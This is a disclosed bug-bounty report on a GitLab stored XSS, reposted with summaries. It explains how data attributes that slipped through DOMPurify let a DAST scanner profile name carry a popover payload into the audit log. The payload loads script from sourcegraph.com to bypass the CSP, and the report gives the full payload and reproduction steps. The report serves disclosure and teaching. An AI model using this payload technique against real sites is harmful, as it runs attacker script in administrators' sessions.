Skip to content
XSS Disclosed report Intermediate

Stored XSS in the Audit Events table

The audit events table sanitised HTML using DOMPurify with only 'strong' allowed as a tag, but DOMPurify still permitted data attributes. An attacker could inject a strong element with data attributes that created a popover, which when hovered and clicked loaded and executed a script from an allowed external domain, leading to stored XSS.

GitLab

Originally disclosed on GitLab

  • Fixed in 12 days
  • Disclosed after 12 days

HackerOne report #1241727 by vakzz on 2021-06-23, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

Summary

The audit events table using the following to sanitise the text coming from the audit event action:

https://gitlab.com/gitlab-org/gitlab/-/blob/v14.0.0-ee/ee/app/assets/javascripts/audit_events/components/table_cells/html_table_cell.vue#L16

JavaScript
const ALLOWED_TAGS = ['strong'];  
...  
    sanitizedHtml() {  
      return sanitize(this.html, { ALLOWED_TAGS });  
    }  

This uses dompurify and overrides the allowed tags to only accept strong.

The issue is that by default dompurify allows data attributes as well as quite a few others - https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L186-L191

One of the ways to add an entry to the audit log with some controlled data is to change the name of a DAST scanner profile.

https://gitlab.com/gitlab-org/gitlab/-/blob/v14.0.0-ee/ee/app/services/app_sec/dast/scanner_profiles/update_service.rb#L59-65

Ruby
        def create_audit_events(profile, params, old_params)  
          params.each do |property, new_value|  
            old_value = old_params[property]

            next if old_value == new_value

            ::Gitlab::Audit::Auditor.audit(  
              name: 'dast_scanner_profile_update',  
              author: current_user,  
              scope: project,  
              target: profile,  
              message: "Changed DAST scanner profile #{property} from #{old_value} to #{new_value}"  
            )  
          end  

This allows for a <strong> element to be added to the audit events table with arbitrary data attributes and other "safe" attributes.

Using the data attributes it's possible add a popover to the strong element using data-html=1 data-toggle=popover data-triggers=hover data-title=payload. When triggered, the payload will also be sanitised but using the default dompurify options which allows for a lot more tags to be used:

https://gitlab.com/gitlab-org/gitlab/-/blob/v14.0.0-ee/app/assets/javascripts/popovers/components/popovers.vue#L75

JavaScript
    getSafeHtml(html) {  
      return sanitize(html);  
    },  

This allows for a link to be created which can then use the rails-ujs data attributes to load and execute a script when clicked.

The style and class attributes can also be used to make the popover and link cover the entire page.

The CSP on gitlab.com has sourcegraph.com listed as a connect-src, and sourcegraph allow you to upload arbitrary javascript when creating an extension: https://sourcegraph.com/-/static/extension/11915.js. Since rails-ujs will fetch the data then execute it if the content-type is correct, this allows for a CSP bypass using the follow if clicked: <a href=//sourcegraph.com/-/static/extension/11915.js data-type=script data-remote=true>

Steps to reproduce
  1. create a new project on a gitlab ultimate tier
  2. create a new scanner profile called aaa at https://gitlab.com/GROUP/PROJECT/-/security/configuration/dast_scans/dast_scanner_profiles/new
  3. change the name of the scanner to <strong class="popover gl-h-full min-vw-100 gl-opacity-0"data-html=1 data-toggle=popover data-triggers=hover data-title="<a class='card-img-overlay vh-100 vw-100' href=//sourcegraph.com/-/static/extension/11915.js data-type=script data-remote=true>">
  4. view the audit events at https://gitlab.com/GROUP/PROJECT/-/audit_events or as a gitlab admin at https://gitlab.com/admin/audit_logs
  5. click anywhere on the bottom half of the page to trigger the xss
Impact

Arbitrary javascript can be executed if a gitlab admin views the audit log and clicks anywhere on the page

Examples

POC at https://gitlab.com/vakzz-group/audit/-/audit_events

xss.mp4 From the original on GitLab
What is the current bug behavior?

Data attributes are allowed when sanitising audit events

What is the expected correct behavior?

All attributes should be removed

Output of checks

GitLab.com

Impact

Arbitrary javascript can be executed if a gitlab admin views the audit log and clicks anywhere on the page

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Arbitrary JavaScript could be executed if a GitLab admin viewed the audit log and clicked anywhere on the page; the CSP was bypassed by loading a script from an allowed external domain.

What the attacker needed

GitLab Ultimate tier project; Ability to create and edit DAST scanner profiles; Victim (admin) views audit log and clicks

The fix

The sanitiser should be configured to remove all attributes, not just restrict tags.

How it was found

  1. Create a new project on GitLab Ultimate tier.
  2. Create a new DAST scanner profile with a benign name.
  3. Change the scanner profile name to a crafted strong element with data attributes that create a popover containing a link.
  4. View the audit events page for the project or as an admin.
  5. Click anywhere on the bottom half of the page to trigger the XSS.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The audit log page tried to clean up text before showing it, but it only removed dangerous tags and forgot to remove special attributes. Those attributes let an attacker turn a harmless bold word into a clickable popup that runs code. When an admin viewed the log and clicked, the attacker's code ran in the admin's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.